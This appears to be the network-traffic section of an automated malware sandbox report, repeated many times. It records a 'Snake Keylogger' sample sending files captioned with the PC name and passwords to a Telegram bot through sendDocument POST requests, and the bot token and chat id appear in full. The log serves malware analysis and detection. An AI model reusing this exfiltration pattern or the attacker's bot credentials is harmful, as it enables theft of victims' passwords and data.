Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c23319c3Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c25218b6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c27117cdHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c288eef3Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c2af12f7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c2ce142cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c2eaaeaaHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c309ad23Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c321840cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c33e2121Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c35d1eedHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c383480aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c3a2432dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c3ba1acdHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c3d6b706Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c3f5b542Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c414b3f2Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c433b23dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c452b1bfHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c46f4ccaHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c4957484Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c4bb9991Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c4e1c0b2Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c500bbdfHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c51fba70Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c53eb995Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c5542ea6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c57a55a2Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c5922b0dHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c5b851c7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c5d02817Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c5f64e24Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c61c73f5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c6a4595fHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c6c35844Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c6e97fa6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c71df22aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c73cf0fbHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c75bef09Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c7906228Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c7af6092Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c7d58614Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c7f484a9Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c81aabf8Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c88d1ae7Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c8b34098Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c8e08d43Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c925b1c0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c963ae9bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c9804bdaHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c99f48faHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c9be4785Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c9dd5aadHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255c9fc4469Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ca18e239Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ca37e243Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ca4fb70bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ca6eb568Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255ca8b52f6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255caa329fbHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cac2278aHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cae1260cHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cafdc418Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cb159961Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cb2d737bHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cb4a0dfeHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cb61e4d0Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cb79bc6fHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cb9659fdHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cbae3072Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cbdb7cb6Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cbf3540fHost: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cc08cab5Host: api.telegram.orgContent-Length: 407
Source: global traffic	HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255cc20a359Host: api.telegram.orgContent-Length: 407
